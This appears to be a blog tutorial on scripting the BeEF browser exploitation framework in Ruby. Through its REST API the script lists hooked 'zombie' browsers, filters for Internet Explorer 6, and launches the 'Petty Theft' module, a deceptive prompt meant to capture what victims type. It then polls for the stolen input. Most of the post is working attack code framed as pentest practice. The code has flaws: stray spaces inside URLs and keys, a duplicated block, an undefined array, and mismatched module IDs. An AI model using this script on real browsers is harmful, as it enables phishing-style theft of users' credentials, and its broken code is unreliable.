So, we wrote this script in Ruby, and we ran it from the same system on which we ran BeEF. You can run it from a different system if you like. Don't forget to use the right address if you modify this. We used these:
require 'json'
require 'pp'
require 'rest-client'
We set up our script to prompt for the API key at runtime rather than hard coding it. This gives us some flexibility. Then we use /api/hooks to retrieve our hooked clients:
print "Enter your API key: "
$key = STDIN.gets.rstrip
res = RestClient.get "http://127.0.0.1:3000/api/hooks/?token=#{$key}"
pp JSON.parse(res.body)
If you've read the RESTful API wiki entry for BeEF, the output should look familiar. But what can we do? Let's ask BeEF! Using the /api/modules interface, we can get a list.
modres = RestClient.get "http://127.0.0.1:3000/api/modules/?token=#{$key}"
pp JSON.parse(modres.body)
We're going to use module ID 1 (Petty Theft) for this demo. Let's find out what it requires:
modres = RestClient.get "http://127.0.0.1:3000/api/modules/?token=#{$key}"
pp JSON.parse(modres.body)
By this point, you've noticed all of our responses are JSON objects, and we're doing a little bit to make it pretty.
It looks like we're going to need the session ID. We'll also need the client ID. Take my word for it. So, let's use the information from the original /api/hooks response to pull the zombies that are running Win32 and stuff them into an array.
JSON.parse(res.body)["hooked-browsers"]["online"].each do | x |
if (x[1]["name"] == "IE" and x[1]["version"] == "6")
target << {:session => x[1]["session"] , :id => x[0] }
end
end
And let's call Petty Theft:
target.each do | x |
res = RestClient.post "http://127.0.0.1:3000/api/ modules/#{x[:session]}/1? token=#{$key}" , {"imagesauce" => "http://fooserver.com/lulz.jpg"}.to_json, :content_type => :json , :accept => :json
pp JSON.parse(res.body)
end
Our end statement is later. We're still in loop. So, we know it ran, and we have a status. We still want to know what our victim typed. We'll need the command ID from the response to retrieve our results.
cmdid = JSON.parse(res.body)["command_ id"]
timeout = 35
while timeout > 0 do
begin
sleep 2
puts "Let's get our results.\n\n"
res = RestClient.get "http://127.0.0.1:3000/api/modules/#{x[:session]}/53/#{cmdid}?token=#{$key}"
pp JSON.parse(res.body)
break
# if there's no response, we should still catch it!
rescue RestClient::ResourceNotFound
print "No results yet.\n"
timeout -= 1
end
end
We put a test in, because we want it to die gracefully in the event that our victim has not responded to our tantalizing task. Otherwise, we'll see data that should get us a step further in our pentest!
No comments:
Post a Comment